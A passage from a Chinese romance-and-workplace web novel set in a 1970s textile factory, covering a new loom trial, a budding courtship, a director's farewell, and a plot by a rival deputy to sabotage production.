大家为了能更加近距离地感受新机器,一个个都朝前挤,现场气氛热烈又有些混乱。 工人们里三层外三层地围着,呼出的白气在冰冷的空气中凝结,却挡不住他们眼中的热切。 赵凯作为保卫科长,看到这混乱的场面,心里一紧。 他深知人群拥挤可能会引发安全事故,立刻带着保卫科的同志们在人群中不停地来回维持秩序。 大冷的天,寒风呼呼地吹着,可他和保卫科的其他同志们脑门子上竟然冒汗了。 他经过康小夏身边时,不经意间抬起头,康小夏似乎感应到了什么,转头望过来。 两人的目光在空中短暂相接,又同时像受惊的鸟儿般迅速飞开。 赵凯的脸不受控制地红了起来,红晕从脸颊一直蔓延到耳根。 他有些慌乱,脚步都不自觉地顿了一下,平日里流利的指挥话语也变得有些结巴。 康小夏低下头,一缕黑发从她扎得一丝不苟的辫子里逃出来,垂在泛红的脸颊边。 “啧啧。“姜海棠把这一切尽收眼底,嘴角忍不住上扬。 这个平日雷厉风行、在工作中说一不二的保卫科长,在看到康小夏的时候,表现很不一般啊,竟有一点笨拙的可爱。 姜海棠心道:这两个人,看起来好像蛮不错的! 这时,胡厂长那声音洪亮的一声喊打破了这微妙的氛围,姜海棠立即朝着车间看去。 二十台崭新的提花机整齐排列,像等待检阅的士兵。 “准备试车!” 随着这一声令下,人群呼啦一下又围得更紧了,大家都迫不及待地想见证新机器的运行。 姜海棠被这股拥挤的人流挤得连续退了好几步,她连忙扶住旁边的墙壁才站稳脚跟,眼神中满是对新机器启动的期待。 “通电!”技术员老周用力扳下闸刀。 闸刀推上的瞬间,整个车间仿佛时间静止了一般,所有人都屏息凝神,眼睛死死地盯着那一排崭新的提花机。 就连外面嘈杂的喧哗声都小了不少,仿佛都在等待着一个历史性的时刻。 二十台提花机齐声轰鸣,纱锭飞转的呼啸声如同春雷滚过大地。 白色的纱线在机器间穿梭交织,宛如一场精心编排的舞蹈,又似一幅美丽画卷正在徐徐展开。 看着机器顺利运转,人群中不知道从谁开始,忽然喊出这样一声欢呼:“成功了!成功了!” 这欢呼声仿佛有魔力一般,瞬间点燃了所有人的热情,在场的人都跟着欢呼起来,车间里外充满了喜悦与激动的情绪。 康小夏激动得眼眶都红了,她突然抓住姜海棠的手,两个姑娘的手都冰凉,却沁着汗。 高音喇叭里正在播报:“第四届全国人大胜利召开!总理在政府工作报告中强调,要加快建设完整的工业体系……” 激昂的声音在车间里回荡,与人们的欢呼声交织在一起,更添了几分振奋人心的力量。 “海棠,快过来,给我们介绍介绍这个机器。”胡厂长和朱厂长对着姜海棠招手。 姜海棠快步上前,脸上洋溢着自信的笑容,给几位领导介绍新的提花机:“……加装自制的计数器和张力调节器后,转速提到35转,断纱率反而降了12%……” 她条理清晰地讲解着,不时用手指着某个部件,“这个位置我们经过改良,把齿轮比例调整……“ 领导们不时点头,眼中满是赞赏。 姜海棠介绍完之后,车间主任给领导们汇报。 “我们参考鞍钢宪法经验,把三班倒改成交叉作业。早班带中班学设备调试,中班帮夜班做质检记录,就像……就像羊毛衫的提花组织,经纬线互相支撑。” 领导们认真倾听,对车间的创新举措表示肯定。 “好!好啊!你们做得很好。”胡厂长拍板,“过年之前必须上市一批新羊毛衫,让金城人民穿咱们厂的新产品过春节!” 车间主任心情激动地答应着,暗暗发誓,一定要利用剩下的二十天时间,努力生产,过年的时候让金城的人能穿上羊毛衫。 车间里,女工们围着一台机器比划着。 有经验丰富的女工正给其他人讲解机器的操作要点和注意事项,年轻的女工踮起脚尖,凑近认真学习,眼神中满是渴望与专注。 她的脸上,满满都是笑,听说,过年之前还会有一批新机器运过来,到时候,她也能自主操作机器,想到这里,她心中充满了期待。 然而,在这一片欢呼声中,姜海棠发现车间角落有个身影。 李胜利正在擦窗户,抹布机械地来回刮着同一块玻璃,他手中的抹布不小心掉落。 他弯腰去捡时,姜海棠清楚地看到他嘴角扭曲了一下。 那表情转瞬即逝,却让她心里“咯噔“一声。 她悄悄挪到赵凯身边,压低声音:“赵科长,得重点注意李胜利。” 赵凯愣了一下,顺着她的视线看去,正对上李胜利阴鸷的目光。 他眉头一皱,职业敏感让他立刻意识到问题:“放心,我会安排人轮流值班。” 就在这时,广播里传来《咱们工人有力量》的旋律。 工人们自发地跟着唱起来,歌声盖过了机器的轰鸣。 窗外,寒风依旧呼啸。但在充满纱线香的车间里,春天似乎提前到来了。 当天晚上,姜海棠邀请赵凯和康小夏来家里吃饭。 厨房里,姜海棠和康小夏两个人正忙着包饺子。 姜海棠手底下利索的擀面皮,康小夏坐在一旁麻利的往面皮上舀馅捏褶子,她的速度很快,包出来的饺子圆鼓鼓的很漂亮。 “你这饺子包得像元宝,一看就是会干活的姑娘,也不知道将来便宜了哪家小伙子。” 姜海棠笑着促狭,康小夏不好意思地瞪了她一眼。 “真是越来越没正形了。” “我没正形,有正形的来了。”姜海棠用抬抬下巴,示意看窗外。 院子里,赵凯刚进门,和以往不同,他今天穿得整整齐齐,总是乱糟糟的头发也梳理得整整齐齐。 在看到窗户上康小夏包饺子的侧影时,他飞快地扭过头不敢继续看。 “赵凯,过来坐。”陆良辰从屋里迎出来,招呼他进屋。 两人在客厅坐下,赵凯的目光却忍不住往厨房方向飘。 “团长,嫂子今天喊我过来吃饭是啥意思?”赵凯压低声音,手指无意识地摩挲着裤缝。 陆良辰挑眉,露出了然的笑容:“给你介绍媳妇。” 赵凯的耳朵瞬间红透,低下头,声音小得像蚊子:“康小夏同志吗?” “你觉得这姑娘怎么样?“陆良辰端起茶杯,目光带着审视。 他对赵凯很了解,这个跟着自己从部队出来的小伙子,为人正直可靠,就是感情上有些迟钝。 家里条件不算顶好,但也没有太大的负担,其实算很不错的对象了。 赵凯搓了搓手,认真道:“我觉得行,就是...人家姑娘年龄小,领不了结婚证。” “你小子,连这个都想到了?“陆良辰没好气地笑骂:“没开始处对象呢,就想结婚了,也不问问人家姑娘的意思。” “领导人说了,不以结婚为目的的处对象就是耍流氓!”赵凯小声嘟囔。 陆良辰轻咳一声:“她家里的情况你也知道,你不担心以后他们家总找麻烦?” 赵凯挺直腰板,眼神坚定:“怕什么,敢找麻烦,我就敢收拾回去。康大春是个窝里横,其实怂得很。” 两个人正说话,姜海棠和康小夏端着热气腾腾的饺子过来了。 “小桃子,出来吃饭了。”姜海棠扬声招呼正在卧室里玩的小桃子。 小桃子哒哒哒地跑出来,看到是饺子的,开心的拍手。 “妈妈做饭最好吃,妈妈做的饺子小桃子可喜欢可喜欢了,谢谢妈妈,小桃子最爱你了。” 她奶声奶气的夸奖让众人忍俊不禁。 赵凯看着伶牙俐齿的小桃子,惊讶道:“小桃子现在怎么这么会说话了?” 他带着小桃子回来的时候,这孩子又瘦又怕生,一路上一句话都不说,当时他差点以为她不会说话。 “学着点,要是不如个小孩子会说话,可要被人笑话。“陆良辰调侃道。 赵凯看到康小夏还端着一盘饺子,忙站起身从她的手中接过盘子。 两人的手不经意间碰在一起,康小夏像被烫到似的缩了缩手,脸颊瞬间染上红晕。 赵凯也慌了神,差点把盘子打翻,好不容易将饺子放到桌上,声音都变得结巴:“还...还有吗?我去端” “厨房里还有两盘。”姜海棠没客气,直接安排:“小夏,我给小桃子洗手,你帮忙把辣椒和醋还有蒜泥都端过来。” 看着两人一前一后走向厨房,姜海棠转头对陆良辰笑道:“你觉得,这事儿能成不?” “赵凯说成。”陆良辰肯定道。 “小夏也不反对。”姜海棠眼中闪过狡黠的笑意。 果然,再次回来时,两人虽然还有些拘谨,但明显放松了许多。 姜海棠一边说着给康小夏递过去一个碗,示意她给赵凯。 康小夏会意,红着脸给赵凯递去碗筷:“赵科长,给你碗筷。” “谢谢,谢谢小夏同志。”赵凯双手接过,紧张得连筷子都差点拿不稳。 陆良辰看到了,没好气地翻白眼,低声骂道:“真没出息!” 比他差多了! 第130章 过年跟我回家吧 饭桌上,姜海棠有意无意地制造机会,让赵凯和康小夏多交流。 几个人聊得倒是很融洽,得知康小夏对明天的女工培训课感兴趣,姜海棠立刻说:“那行,到时候我带着你一起过去。” 一顿饺子吃完,天已经彻底黑了,康小夏还想帮姜海棠收拾碗筷,被姜海棠拒绝了。 “等会儿冷得很,你们早点回去吧,赵科长,麻烦你送小夏回去,行不?” 赵凯忙应道:“我愿意,我愿意。” 赵凯和康小夏并排走,他竟然顺拐了。 姜海棠远远看着,没忍住笑了。 上午的技术培训进行得很顺利,二十个女工围着姜海棠,看她演示如何操作新提花机。 康小夏跟在姜海棠的后面,听得很认真,她跟着学,不是为了操作机器,而是弄清楚原理,以防广交会上推广产品的时候用到。 “大家注意看这个位置,”姜海棠指着机器侧面新加装的装置,“它能记录纱线长度,到固定值就会提示换纱……” 一个年轻女工举手问:“姜工,听说这个装置是你自己设计的?” “是参考了一些技术资料,“姜海棠笑着纠正,“再加上请教了咱们厂里的老师傅们的建议,不是我一个人的功劳。” 正说着,车间主任陪着胡厂长走了进来。 胡厂长今日身着笔挺的中山装,皮鞋擦得锃亮,胸前别着的那枚厂徽在光影下熠熠生辉,整个人显得格外精神抖擞。 姜海棠觉得,今天胡厂长的形象,和往日里有些不同,很庄重! 胡厂长的目光在人群中一扫,落在姜海棠身上时,眼角眉梢瞬间堆满了笑意。 “厂长您怎么突然过来了?”姜海棠上前打招呼。 胡厂长双手背在身后,迈着稳健的步伐,目光扫视了一圈车间,语气沉稳地说道:“过来看看。” 姜海棠心中暗自揣测,莫不是胡厂长的调令下来了?这个念头刚在脑海中闪过,就被胡厂长接下来的话打断。 “同志们辛苦了!”胡厂长声音洪亮,声如洪钟,“告诉大家一个好消息,省厅决定把我们厂的技术革新作为典型上报!” 话音刚落,原本安静的车间瞬间爆发出热烈的欢呼声,工人们纷纷放下手中的活计,有几个女工甚至抱在一起跳。 胡厂长抬手示意大家安静,继续说道:“这次试车成功,证明‘两参一改三结合’的方针完全正确!工人参加管理,干部参加劳动,改革不合理的规章制度,工人、干部和技术人员三结合——这就是我们的制胜法宝!” 他神情激昂,眼中闪烁着坚定。 “我相信,以后纺织厂还会有大发展,同志们,我期待看到纺织厂取得更大成绩的那一天。” 胡厂长说这些话的时候,情绪愈发激动。 姜海棠分明看到,镜片下,胡厂长的眼中闪烁着点点泪光,那是对工厂的热爱,对未来的期许。 她更加笃定,胡厂长这是要调走了,他在对待了许多年的厂子做最后的巡视。 当天夜幕降临,陆良辰带着姜海棠和小桃子,来到胡厂长家。 姜海棠和小桃子被热情地迎进客厅,蒋慧贞笑容满面,拉着她们的手,嘘寒问暖。 姜海棠简单的扫视一下,客厅里许多东西都已经收拾打包起来了,显然,已经准备好出发了。 而陆良辰则跟着胡厂长,走进了书房。 书房里,书架上的书都已经收拾起来,胡厂长坐在藤椅上,一脸慈祥地看着陆良辰,目光中满是期许与欣慰。 “你小子,以后就是厂长了,要独当一面。” 陆良辰垂眸盯着手中的茶缸子,杯中的茶水微微晃动,倒映着他略显凝重的神情,一时没有说话。 胡厂长见状,语重心长地说:“好好干,个人的事也别耽误了。” 听到这话,陆良辰抬起头:“我打算今年过年带着海棠和小桃子回家。” 胡厂长微微一愣,随即心领神会:“让我先给你家里人说说?” 陆良辰轻轻叹了口气,脸上露出一丝担忧,将心中的顾虑缓缓道出。 “我爷爷那边应该没问题,我担心我父母!” 虽然说,最后,家里人肯定会尊重自己的想法,可他还是担心,父母对海棠不满意,让海棠受委屈。 “良辰啊,刚开始,我对你和海棠这事儿,也是有点不赞成的,毕竟,海棠的出身确实有点低。”胡厂长缓缓说道。 “其实,我也没想到我会喜欢上海棠,可感情的事儿,看对眼了,我看她哪儿都好。” “我知道了,我现在看她也是哪儿都好,等回京城,见了你父母,我会提一提。海棠确实很优秀,你小子配她,也就勉强。” 胡厂长毫不掩饰对姜海棠的喜爱,言语间满是夸赞。 姜海棠这姑娘,样样出色,唯一的不好,就是出身不高,但不妨碍她依然成长为一个优秀的人。 陆良辰心中感动,诚挚地说道:“谢谢胡叔。” 胡厂长摆了摆手:“到了京城,别忘了来看我。工作上的事,我就不说了,厂子交给你,我放心。” 客厅里,蒋慧贞正仔细端详着姜海棠。 之前听老胡说过好多次这个姑娘,今日一见,着实让她惊讶。 姜海棠气质温婉,举止大方,那眉眼间的灵动与聪慧,怎么看都不像是乡下来的。 “小姜啊,我家里有些关于纺织方面的书,挺实用的,你不嫌弃的话,等会儿带回去。”蒋慧贞热情地说道。 他们两口子在金城生活了六七年,如今要走,许多东西都需要处理。 那些日用品送给隔壁邻居,可这些书本,厂里人虽多,但能静下心来学习的却寥寥无几。 要是给了不爱学习的人,这些凝聚着知识的书籍怕是要被糟蹋。 见到姜海棠,蒋慧贞瞬间觉得找到了合适的人选。 姜海棠眼中闪过惊喜,连连点头,声音清脆:“谢谢您,蒋主任。” “叫我蒋阿姨就行,良辰也这么叫。”蒋慧贞笑着说道。 姜海棠乖巧地应下。 蒋慧贞又拿出一包东西放在姜海棠跟前。 “这是几罐奶粉和麦乳精,还有一点糖果,你别推辞,是给小桃子的。” 一旁的小桃子一直安安静静地听着大人们说话,听到这话,立刻用那双清澈的大眼睛看向姜海棠,眼神中满是询问。 蒋慧贞见状,笑着调侃:“这小家伙,越来越聪明了,这是问你能不能收呢。” 姜海棠温柔地摸了摸小桃子的头:“要谢谢蒋奶奶哦!” 小桃子马上露出甜甜的笑容,脆生生地向蒋慧贞道谢。 姜海棠看着已经收拾得空落落的屋子,问道:“蒋阿姨,你们什么时候走?” “明天一早就走了,十点钟的火车,咱们下次见面,应该是到京城了。” 夜色渐深,姜海棠和陆良辰带着好几个沉甸甸的包回家。 一进家门,姜海棠便匆匆走进厨房,挽起袖子忙活起来。 陆良辰跟在后面,一脸疑惑:“海棠你饿了?” 姜海棠一边忙着和面,一边头也不回地说:“胡厂长他们明天一早的火车,我得给他们准备点火车上的吃食。” “还是你想得周到,我就没想到。”陆良辰笑着,伸手抱住姜海棠的腰,腻腻歪歪地说:“我怎么这么好的福气,遇到你这样好的姑娘。” “你这样,让厂里的工人看到了,笑话,你以后可就是厂长了。”姜海棠手上沾着面粉,没办法推开他,只能笑着调侃。 “笑话我什么,笑话我心疼媳妇?”陆良辰将下巴轻轻抵在姜海棠的肩头,语气带着几分无赖。 “笑话你这么大一个男人,还撒娇。”姜海棠忍不住笑道。 “又不是对着别的女人撒娇,我才不怕人笑话。”陆良辰语气中满是骄傲。 “海棠,过年我带你回家好不好?”陆良辰突然认真地说道。 姜海棠手中的动作一顿,虽然知道迟早要去,但陆良辰真的提出来了,她还是感到一阵忐忑。 “我现在就去会不会不好?” “没什么不好的,丑媳妇总要见公婆,何况,我媳妇这么漂亮,怕什么。”陆良辰笑着安慰道。 姜海棠又想到另一个问题:“你刚上任,走了会不会不好?要不,再等等?” “我在不在不影响,刚才胡叔说了,个人的事情别耽误!”陆良辰说着,在姜海棠的耳后轻轻一吻。 姜海棠只觉得一股电流顺着脊背传遍全身,忍不住腿一软,亏得被陆良辰紧紧抱着才没跌倒。 “别闹。”她的声音微微发颤,带着一丝羞涩。 “海棠,真想马上娶你进门。” 陆良辰又在她另一侧耳后落下一吻,温热的气息拂过耳畔,姜海棠只觉得整个人都要融化在他的怀里。 “别这样,小桃子在。”她用尽全身的意志力,才说出这么一句话。 窗外,月光如水,温柔地洒在这对甜蜜的恋人身上,为这温馨的夜晚更添一抹浪漫。 第131章 硬仗要开始了 翌日一早,竟然又开始下雪了,细碎的雪粒子像撒盐似的洒下来,偌大的纺织厂,平添一份伤感。 胡厂长两夫妻站在自家屋子里,最后一次环顾,看着这生活了七年多的地方,眼里都是不舍。 斑驳的墙面、掉漆的桌椅,每一样物件都承载着他们的回忆。 “以前总盼着调走,真要离开,竟又舍不得了,心里头空落落的。”胡厂长声音有些沙哑。 蒋慧贞轻抚着已经褪色的桌布,眼眶微微泛红。 “刚来的时候,我是真不适应,总是抱怨。抱怨着抱怨着,就过了这些年。这一别,或许,这辈子不会再回来了。” 两人拎着简单的行李,一步三回头地走下楼梯。 就在这时,风雪中传来熟悉的呼喊声。 他们抬头望去,只见数十名厂里的职工顶着风雪伫立在空地上。雪花落在他们的肩头、发梢,眉毛上结着白霜,显然已经等了很久。 “你们……”胡厂长快步跑上前,“老马,这么冷的天,赶紧回去,别冻坏了身子!” 就是担心这样的场面,胡厂长才打算悄悄走的,谁知道,还是来了这么多人。 老马红着眼圈,紧紧握住胡厂长的手:“胡厂长,您真打算悄悄走?” 胡厂长喉头哽咽:“我就是怕见了你们更难受……” 二车间的几个年轻女工相互搀扶着,泪水混着雪花滑落:“胡厂长……” 这些年,胡厂长为职工们操碎了心。 帮困难职工解决生活困难,协调解决家属就业问题,职工子女上学就医遇到麻烦,他也会亲自出面帮忙。 大家心里,他不仅是领导,更是值得信赖的长辈。 “胡厂长,您快走吧,火车不等人!”老马强忍着泪水,“我们就在这儿送送您!” 胡厂长伸开双臂,给老马一个大大的拥抱。 “老伙计,我们以后有缘再见!” 职工们整齐地站在风雪中,目光中满是不舍与祝福。 尽管心里千般不愿,但他们知道,胡厂长去轻工局是更好的发展,只能默默为他高兴。 蒋慧贞轻轻拉了拉丈夫的衣角,胡厂长深吸一口气,松开抱着老马的手,朝众人挥了挥手。 就在这时,老马突然大喊:“立正!“ 上百名工人齐刷刷挺直腰板,动作整齐划一。 胡厂长转身走向汽车的瞬间,泪水再也控制不住夺眶而出。 陆良辰站在小汽车的旁等着胡厂长,瞧见胡厂长和蒋慧贞手里拎着行李,几步上前拎到自己手里。 胡厂长没敢继续回头,坚定的朝小汽车走过去。 老马突然喊了声“立正”。 车子缓缓启动,沿途不断有职工自发站在路边挥手。 胡厂长透过模糊的车窗,看着一张张熟悉的面孔,心中满是感动与不舍。 “良辰啊,我们的工人们,就交给你了,不管什么时候,要保障工人的权益,任何人,不能做有损工人利益的事。” 陆良辰点头:“您放心,胡叔,我会的。” 小汽车缓慢的在厂区内行走,一路上都能看见冒着风雪站在路边的工人,陆良辰看着心里也觉得涩涩的。 副驾驶座上,陆良辰忽然看到站在路边眼神冰冷的李胜利。 “良辰,”胡厂长突然开口,声音带着担忧,“李胜利这个人,你一定要多加小心。” 陆良辰点点头:“胡叔放心,我心里有数。他做的那些事,迟早会付出代价,先让他跳几天。” “他唯一的功劳,就是把姜海棠这么优秀的同志送到了我们厂里。” “不过,这个人也要提防他狗急跳墙。”胡厂长语重心长地说,“一定要保护好姜海棠和其他职工。” “我会安排人盯着他。” 车子渐渐驶离厂区,雪花依然纷纷扬扬地飘落。 胡厂长回头望着越来越小的纺织厂,心里沉甸甸的。 很快,车子到了火车站,陆良辰和小吴看两个人将胡厂长夫妻二人的行李搬下来,陆良辰又将早上姜海棠给准备的一包吃食都拿出来。 “这是海棠给你们准备的,有包子、葱花饼、还有馒头和肉酱,你们路上吃。” 胡厂长笑道:“你小子,是个有眼光的。回去,代替我们谢谢海棠。” “还有家里那些东西,麻烦你帮忙寄回去。” 陆良辰都应下,火车进站,目送胡厂长和蒋慧贞上车。 雪越下越大了,天气阴沉沉的,寒风卷着雪沫掠过站台。 陆良辰望着远去的火车,直到黑色的车影消失在蜿蜒铁轨尽头。 小吴轻轻扯了扯他的衣角:“陆哥,该回厂了,早上有人来厂里宣布任命。” 陆良辰转身,皮鞋踩在积雪上发出细碎的声响,每一步都像踩在空荡的胸腔里。 未来的路,或许并不好走,但不管怎么样,都要走下去。 厂区门口光秃秃的白杨树在风雪中瑟缩,汽车刚进厂子大门,就看到厂办的高干事焦急的踱步。 看到小汽车进来,他急匆匆跑来:“陆厂长!局里来宣读任命的王干事到了,正在会议室等着呢。” “上车!”陆良辰招呼高干事上车,小汽车碾着薄薄的雪,快速朝着厂办方向前进。 推开会议室,长桌尽头坐着个戴金丝眼镜的中年人,身后站着两名抱着文件的工作人员,而台下密密麻麻坐满了各车间主任和骨干职工。 “陆良辰同志到了!” 王干事清了清嗓子,会议室骤然安静得能听见窗外雪粒敲打玻璃的簌簌声。 陆良辰缓步走上主席台,正好瞥见前排老马悄悄抹了把眼睛,几个女工低头绞着衣角——这场景让他想起今早送胡厂长时的画面,喉头不由得发紧。 “经上级研究决定,任命陆良辰同志为纺织厂厂长,即刻生效。” 话音刚落,掌声响起,却并不怎么热烈。 尤其是其他两位副厂长的脸色,并不是很好看。 他们苦熬苦等好多年,终究与一把手失之交臂,现在还被一个年轻人压在头上,多少有些情绪。 不过,这样的场合,他们谁都没有开口。 王干事不是没见过世面的人,瞧着这一幕,还有什么不明白的。 他重重的将手中的文件放在桌上。 “秦永良副厂长,周大强副厂长,你们的功劳组织看到了,但综合考虑,你们暂时还需要协助陆良辰同志完成纺织厂的任务,你们可有意见?” 会议室空气瞬间凝固,两位副厂长看了陆良辰一眼,硬生生寄出来一抹笑容。 秦副厂长指甲在会议桌底划出深深的白痕,嘴角却扬起夸张的弧度:“组织决定我们坚决服从。” 他起身时故意撞翻茶杯,褐色的茶渍在任命文件上洇开。 “哎呦,瞧我这毛手毛脚的。” 王干事脸黑了,当着他的面,已经是这样,等回头,只怕这位年轻的陆厂长还有得辛苦呢。 周大强忙表态:“我们肯定会一如既往的为了厂里的生产贡献力量,也会协助陆厂长推动厂子的发展。” 王干事没有多余说话,带着怒气走了。 两位副厂长肩并肩走出去,陆良辰隐约听到周大强的抱怨。 “当年老子参加大生产运动时,这小子还在穿开裆裤!” “辛苦多年,到底比不得家里有权有势的要紧啊。” 散会后,老马悄悄拉住陆良辰,布满老茧的手紧紧攥着他:“陆厂长,这位置不好坐啊……” “秦厂长和周厂长两个人在厂里都是十几年的资历了。” “谢谢您,马师傅,我知道该怎么做。” 话音未落,远处传来玻璃碎裂的声响,两人对视一眼,快步跑到车间外。 只见一个年长的工人正在殴打一个年轻学徒,周围围着几个哄笑的工人。 “都住手!” 陆良辰冲过去拽开正在打人的人,学徒脸上肿起老高,嘴角还渗着血。 那年长的工人甩开他的手,阴恻恻地说:“新官上任三把火?可惜这火,你怕是烧不旺。” 说罢带着人扬长而去,只留下满地狼藉和瑟瑟发抖的学徒。 雪不知何时下得更大了,陆良辰望着天空飘落的雪花,想起胡厂长临走前的嘱托。 他握紧拳头,指甲几乎掐进掌心。 这就开始了吗? 既然他们两个人非得在背后搞点小动作,他不做点什么,真是对不起他们这点小动作了! 第132章 秦副厂长有这样的追求呢 陆良辰立即找了赵凯,让他这几天辛苦一点,多加注意。 陆良辰从到了纺织厂之后,就管着保卫科。 几个月下来,保卫科这里,铁板一块,保卫科的人,都是值得相信的。 赵凯不加迟疑地答应下来。 “你们人有点少,等过完年,你联系部队,从那边直接招一些得用的人来,补充力量。” 看起来一片祥和下面隐藏的,才是真正的暗流。 只怕未来一年半载,都未必就能平顺,还是得有自己人啊。 接下来,连续好几天,陆良辰都是天不亮就出门,半夜才回,以至于小桃子都好几天没有见到最亲爱的爸爸。 小家伙连日念叨着爸爸怎么还不回家的话。 姜海棠看得都有些不忍心了,只能耐心地哄着她,尽量抽空陪着小家伙玩。 已经是寒假,小桃子也不用去幼儿园了,但姜海棠需要上班,陆良辰更是顾不过来,孔大娘便主动承担起带孩子的任务。 小桃子和孔家兄妹关系都很好,尤其是和二妮二娃两个年龄相仿,能玩到一起。 姜海棠只能多给孔大娘一点好处,让孔大娘帮忙照顾。 孔大娘口中说着姜海棠太客气,但送过来的东西还是都收下了。 凌晨四点,万籁俱静,但保卫科的值班室还亮着灯。 陆良辰将冻僵的手放在火炉子上烤着,赵凯推门进来,军大衣肩头积着雪,从怀里掏出个油纸包。 “厂长,昨天晚上张大叔给的洋芋盒子。” “人盯住了?”陆良辰接过洋芋盒子,放在炉子上烤着。 在火炉子的作用下,洋芋盒子滋滋作响,汁水垫在炉面上的纸张。 赵凯凑近低声说:“赵启宇屋里搜出半袋工业盐,藏在坑洞里的笔记本记着蒸汽管道结构图。” “最蹊跷的是秦副厂长的远方侄子给李大庄家送去了蜂窝煤,我们正在查。” “给,把这半个洋芋盒子吃了先休息一会儿,休息好才能保证工作效率。” 赵凯也不客气,忙了大半个晚上,那点晚饭早就消化干净了,饿得很。 “团长,找时间让嫂子给咱们做点好吃的呗,都馋了。” “她这两天忙得不得了,估计抽不出空,当我们都忙完这一段时间,好好犒劳你和兄弟们。” 得了保证的赵凯三口两口啃完洋芋盒子,倒头就睡。 正如陆良辰所说,姜海棠每天都泡在实验室里,忙得晕头转向。 黎景程几个人虽然解决了染色剂颜色调试的问题,但染出来的纺织品固色不够。 姜海棠怕因为固色的问题,影响纺织厂接下来的订单,便争分夺秒地想尽快解决问题,按期交付吴慧婷的订单。 实验室里,姜海棠突然打了个喷嚏。 “姜工,您歇会儿吧。”黎景程递来搪瓷缸,热气里飘着几粒枸杞,“这都第三锅固色剂了……” 姜海棠摇头,显微镜下的棉纤维像干涸的河床般皲裂。 她忽然听到外面有骚动。 抬眼望去,锅炉房方向腾起的白雾。 她甩下白大褂就往楼下跑,实验记录本被风掀到最新一页:“1月25日,稀土固色剂遇盐析出结晶……” 黎景程和段长河两个人也急忙追出去,等他们跑到锅炉房跟前的时候,锅炉房前已围得水泄不通。 保卫科的一名小干部反剪着赵启宇的胳膊,那人棉鞋都跑掉一只,光脚在雪地上拖出蜿蜒的血痕。 “我就是来瞧瞧,你们凭什么抓我!”赵启宇拼命挣扎,大声叫嚷:“大伙儿评评理!保卫科冤枉好人!” “冤枉?你昨天晚上趁着夜色做了什么,需要我提醒吗?”赵凯踹了他一脚,没好气的说道。 那人脸色一白,显然没想到他昨天晚上就已经暴露了。 但仔细一想,又觉得不对。 要是昨天晚上就发现了,怎么可能今天还出事故?难道不应该都排查了? “赵科长,您肯定看错了,我昨天晚上好好的在家里睡觉呢,什么地方都没去……” “赵启宇,你就别狡辩了,你家里藏着的东西,都已经查出来了,你破坏生产,该知道后果是什么。” 昨天晚上发现赵启宇有问题后,就开始了调查,目前调查差不多已经完成,就等着今天赵启宇自投罗网。 只不过,赵启宇倒在蒸汽管道里的东西,九成都被清理了,只留下最外面一点。 赵启宇果然没有防备,人赃俱获。 “冤枉啊,我真的没有……” “有没有的,咱们先到保卫科再说。”赵凯指挥手底下的人把人先带回去。 人群里的李大庄看到情况不妙,立即猫着身子要溜走,后颈被人抓住,正是赵凯。 “李师傅,别着急走啊。”赵凯的声音不轻不重,“你交班时,蒸汽压力表指针在什么位置?” 李大庄腿一软。 赵凯这个大老粗怎么会知道,压力表被他故意调高了三格? 但他坚决不能承认。 “你说的什么,我不知道,我下班了,我要回家!” 可是,他哪里能挣脱赵凯铁爪一样的手。 保卫科的审讯室冷得像冰窖。 赵启宇的棉衣被冷汗浸透。 “赵启宇,你是咱们厂里的老人了,在维修班也算一顶一的能人。你怎么就忍心破坏生产?咱们厂多少人为了今天的成绩付出努力,你看不到吗?”赵凯痛心疾首地说。 “我没做过就是没做过。” “赵启宇,你儿子今年八岁,正好在咱们厂子弟小学上学。我记得你前头生了四个闺女,才得了这么一个独苗苗,是吧?” “陆良辰,你不许对我儿子动手……”赵启宇明显恐慌了。 他们两口子奋斗多年,才终于生出一个带把的,可不能被人毁了。 “我不至于禽兽不如到对一个孩子动手,我只是听说,你儿子的成绩很好。” 赵启宇明显地愣怔了。 是啊,孩子学习很好,说不定以后的前途能比自己更好。 “你出了事,你想过他以后怎么办吗?一个有犯罪记录还在劳改的父亲……” “还有你的四个女儿,大女儿今年十六了吧?该到了找工作的时候了……” “如果没有工作,她难逃下乡的命运,还有你的二女儿……” 赵启宇彻底破防了,他瘫软在凳子上。 “是秦厂长说……说只要停产三天……我也是没办法,老大要是再找不到工作,就要下乡了,我虽然疼儿子,可闺女也是我生的,我总想着能让她留在城里,不用去乡下吃苦。” 赵启宇嚎啕大哭。 可是,陆良辰的脸上没有一丝动容,为了这样的人,同情一个犯了错的人,犯不着。 李大庄也扛不住压力,招供了出来,他是锅炉房的人,全程配合赵启宇搞破坏。 他们两个人都是受到秦副厂长指示。 “秦厂长说,只要厂里停产三天,就能将您拉下马。陆厂长,我错了,我不该为了一点蝇头小利,就做出这种猪狗不如的事情啊!” 李大庄哭得鼻涕一把眼泪一把。 将两个人分别关押起来之后,陆良辰捏捏眉头。 胡厂长才调走,牛鬼蛇神就都出来了,以前倒是没看出来,秦副厂长还有这份能耐和追求呢。 “他们肯定还有下一步的动作,你和兄弟们轮换休息。”陆良辰拍拍赵凯的肩膀。 “我们没事,倒是您,昨晚就没休息,今天下午还是抽空休息一会儿吧。” 赵凯看着陆良辰已经熬红了的眼睛,心疼地说。 “还,我先回家休息几个小时,今天晚上,估计还有一场硬仗要打。” 虽然两个人已经承认,但为了避免打草惊蛇,赵凯安排手底下的人,依然做出一副紧张审理的模样,对外依然宣称二人不承认搞破坏,目前还在查办。 陆良辰回到家的时候,正好是晚饭时间。 姜海棠晚饭做得很丰盛,有红烧肉,还有排骨萝卜汤,她正在打包,打算给陆良辰送过去,可巧陆良辰就回来了。 “你回来了,先吃饭,我正说给你送过去呢。” 姜海棠并没有将已经打包好的饭菜拿出来,而是重新给陆良辰盛了一碗饭。 “我直接用饭盒吃。” “这些你晚上带过去,加班的时候饿了吃,我等下再给你做点饼子。”姜海棠看着陆良辰疲惫不堪,心疼到不行。 可她也知道,这时候,她帮不上什么忙,这些事,只能陆良辰自己扛过去。 她唯一能做的,就是保障陆良辰的营养。 “这些你和小桃子吃就行,我那边晚上从食堂里多拿一个馒头就行。” “我和小桃子你不用担心,倒是你这才几天,瘦了一圈了。”姜海棠说着,眼泪差点落下来。 这厂长当的怎么就这么难呢? 这些人到底要干什么?为了权势,难道不惜牺牲厂子里好几千工人的利益吗? 姜海棠虽然活了两辈子,可实际上,她的生活环境一直都比较单纯,并没有经历过这样的血雨腥风,确实不能接受。 陆良辰将姜海棠拉过来坐在自己身边,伸手抱住她。 “我没事,熬过这几天就好了。只有千日做贼,没有千日防贼,他们出手了才好。” “可你……那个袋子里,我给你装了一袋麦乳精,你拿到办公室冲着喝。” 